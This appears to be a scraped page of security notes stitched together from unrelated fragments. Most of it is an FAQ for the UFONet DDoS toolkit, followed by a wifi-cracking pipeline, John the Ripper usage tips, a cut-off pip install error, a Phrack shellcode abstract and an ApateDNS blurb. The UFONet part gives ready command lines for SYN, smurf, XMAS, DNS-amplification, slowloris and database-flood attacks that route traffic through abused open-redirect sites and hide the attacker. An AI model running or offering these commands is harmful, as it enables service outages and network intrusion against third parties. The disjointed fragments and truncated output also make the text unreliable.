ddos test aracı

What is UFONet?

It is a toolkit designed to launch DDoS and DoS attacks.


What is a DDoS attack?

A Distributed Denial of Service (DDoS) attack is an attempt to make an online service
unavailable by overwhelming it (for example, with traffic...) from multiple sources.


What is a DoS attack?

A Denial of Service (DoS) attack is an attempt to make an online service
unavailable by overwhelming it (for example, with traffic...) from a single source.


What is a Botnet?

A Botnet is a collection of computers often referred to as "zombies" that allows an attacker
to control them. It is commonly used to make DDoS attacks.


What is the philosophy behind UFONet?

"On a samurai sword or even any tool, what matters is who goes to use it and for what,
not who builds it and when..."


Why can UFONet be more special, than for example, other botnets previously built?

Because UFONet tries not living traces (IPs, etc...) from the origin of the attack. And
of course, because it is free/libre. ;-)


How does UFONet work technically?

UFONet is a tool designed to launch Layer 7 (HTTP/Web Abuse) DDoS attacks, using 'Open Redirect'
vectors, generally located on third part-y web applications (a botnet) and other
powerful DoS attacks, some including different OSI model layers, as for example
the TCP/SYN flood attack, which is perform on Layer 3 (Network).

This schema shows you how the architecture of the requests are made when performing
a simple DDoS attack.


Is UFONet a "strong" botnet?

Well!. It depends on how you understand a botnet as "strong". If you understand it as;

 *  'privacy'; UFONet is the best -ninja- DDoS/DoS tool...
 *  'traffic volume'; it depends on; 'zombies', bandwidth, target's conf, etc...

With UFONet it's not about having a lot of 'zombies', it's more about those you have
work properly. If they are nice, you can 'defeat' a 'small' webserver just with
a 'couple of dozens'.

Or for example, in a scenario in which a target is using a VPS service with some limited
bandwidth rate (ex: 1GB/month) for the attacker is just a matter of time to run the tool
and wait until traffic (noise) reaches the maximum limit that closes the service.

Commonly people understand a botnet as an individual tool but UFONet is also a P2P/darknet,
that can be used to connect others machines and to run complex schemas involving other people
working cooperatively: sharing 'zombies', reporting statistics (with rankings, clans)...

Therefore, UFONet can also be defined fundamentally, as: a botnet of botnets, which is
obviously a harder and effective way to overwhelm an objective, than when a single person
tries it individually.


What's the difference between: 'zombies', 'aliens', 'droids', 'ucavs'...?

 * Zombie: HTTP GET 'Open Redirect' bot

 ex: https://ZOMBIE.com/check?uri=$TARGET

 * Droid: HTTP GET 'Open Redirect' bot with params

 ex: https://ZOMBIE.COM/css-validator/validator?uri=$TARGET&profile=css3

 * Alien: HTTP POST 'Open Redirect' bot

 ex: https://ZOMBIE.com/analyze.html;$POST;url=$TARGET

 * Drone: HTTP 'Web Abuse' bot

 ex: https://www.isup.me/$TARGET

 * X-RPC: XML-RPC Vulnerability

 ex: https://ZOMBIE.COM/xmlrpc.php


Is it possible to stress target's database using UFONet?

Yes, it is. For example, you can order to your 'zombies' to submit random valid requests
on a target's search input form. This floods database with queries.

 ex(wordpress): ./ufonet -a 'http://TARGET.com' --db '?s='


Is there a LOIC connected to UFONet?

Yes, hehe... It has implemented an advanced version of that software that supports proxies.

 ex: ./ufonet -a 'http://TARGET.com' --loic 500


And a LORIS?

Yes, of course. You can connect one to make requests leave open threads on the target too,
making the web server work slower:

 ex: ./ufonet -a 'http://TARGET.com' --loris 100


How works UFOSYN?

It is a script to launch a powerful TCP-SYN (DoS) flood attack (it requires 'root' access):

 ex: sudo ./ufonet -a 'http://TARGET.com' --ufosyn 100


And SPRAY?

This script is used to launch a TCP-SYN reflector (DDoS) flood attack (it requires 'root' access):

 ex: sudo ./ufonet -a 'http://TARGET.com' --spray 100


What is a SMURF?

This other script is used to launch an ICMP echo (DDoS) flood attack (it requires 'root' access):

 ex: sudo ./ufonet -a 'http://TARGET.com' --smurf 100


And XMAS?

With this script you can launch a complex TCP-XMAS (DoS) flood attack (it requires 'root' access):

 ex: sudo ./ufonet -a 'http://TARGET.com' --xmas 100


How works a NUKE?

With this script you can launch a TCP-STARVARTION (DoS) socking attack (it requires 'root' access)
that will knock down your target in seconds, if it does not have a minimum level of protection:

 ex: sudo ./ufonet -a 'http://TARGET.com' --nuke 10000


And TACHYON?

With this script you can perform a distributed amplification of DNS traffic:

 ex: sudo ./ufonet -a 'http://TARGET.com' --tachyon 1000


How should a powerful attack that combines all the techniques (DDoS+DoS)?


 sudo ./ufonet -a 'http://TARGET.com' --loic 100 --loris 100 --ufosyn 100 /
      --spray 100 --smurf 100 --xmas 100 --nuke 10000 --tachyon 1000


How can I start with UFONet; for example using GNU/Linux (ex: Kali)?

You can try to install automatically all required libs by using this command (as root):

 % sudo python setup.py install

Cracking wifi passwords with wordlists

Use crunch to create a wordlist "on-the-fly" (without wasting storage) - pipe that to john with --session option (you can resume the cracking process) and give that to aircrack (-w - // without password list since crunch is creating it)

crunch 8 8 | john --stdin --session=superwifi --stdout | aircrack-ng -b 00:11:22:33:44:55 -w - handshake-Superwifi.cap

Platform:

About John the ripper session parameter usage:

You do not have to leave John running on a (pseudo-)terminal. If running John on a Unix-like system, you can simply disconnect from the server, close your xterm, etc. John will catch the SIGHUP ("hangup" signal) and continue running. Alternatively, you may prefer to start it in the background right away:
 john --wordlist=all.lst --rules mypasswd &
Obviously, the "&" is specific to Unix shells and will not work on most other platforms.
You may further enhance this by specifying a session name:
 john --session=allrules --wordlist=all.lst --rules mypasswd &
This ensures that you won't accidentally interfere with the instance of John running in the background if you proceed to start other sessions.
To view the status of a running session, use:
 john --status
for the default session or:
 john --status=allrules

Utility Functions for Resilient (fn_utilities-1.0.6.zip) installation problem

Resilient Functions simplify development of integrations by wrapping each external activity into an individual workflow component. These components can be easily installed, then used and combined in Resilient workflows. The Resilient platform sends data to the function component that performs an activity then returns the results to the workflow. The results can be acted upon by scripts, rules, and workflow decision points to dynamically orchestrate the security incident response activities.

The Utility Functions integration package contains several useful workflow functions for common automation and integration activities in Resilient. These include:

    Function to call generic REST/JSON web service APIs,
    Function to run arbitrary shell scripts (bash and PowerShell),
    Functions to fetch SSL certificates from a server and parse them,
    Functions to work with Excel, HTML, XML, JSON and EML files,
    Functions to work with Resilient attachments: calculate hashes, list and extract ZIP archives, convert to and from base64
    And more.



Problem:

[root@resilient ~]# pip install fn_utilities-1.0.6.zip
Processing ./fn_utilities-1.0.6.zip
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):

phrack: History and Advances in Windows Shellcode

Abstract 

Firewall is everywhere in the Internet now. Most of the exploits released in the public have little concern over firewall rules because they are just proof of concept. In real world, we would encounter targets with firewall that will make exploitation harder. We need to overcome these obstacles for a successful penetration testing job. The research of this paper started when we need to take over (own) a machine which is heavily protected with rigid firewall rules. Although we can reach the vulnerable service but the strong firewall rules between us and the server hinder all standard exploits useless. 

The objective of the research is to find alternative ways which allow penetration tester to take control of a machine after a successful buffer overflow. A successful buffer overflow in a sense that it will eventually leads to arbitrary code execution. These alternative mechanisms should succeed where others fail even in the most rigid firewall rules. 

In our research to find a way to by pass these troublesome firewall rules, we looked into various existing techniques used by exploits in the public and why they fail. Then, we found several mechanisms that will work, but dependence to the vulnerable service. Although we can take over the server using these techniques, we take one step further to develop a more generic technique which is not dependence to any service and can be reuse in most other buffer overflows. 

This paper will start with dissection on a standard Win32 shellcode as an introduction. We will then explore the techniques being used by proof of concept codes to allow attacker to control the target and their limitations. Then, we will introduce a few alternatives techniques which we call "One-way shellcode" and how they may by pass firewall rules. Finally, we also discussed on a possible way to transfer file from command line without breaking the firewall rule.

ApateDNS

Control DNS responses
ApateDNS™ is a tool for controlling DNS responses though an easy-to-use GUI. As a phony DNS server, ApateDNS spoofs DNS responses to a user-specified IP address by listening on UDP port 53 on the local machine. ApateDNS also automatically sets the local DNS to localhost. Upon exiting the tool, it sets back the original local DNS settings.
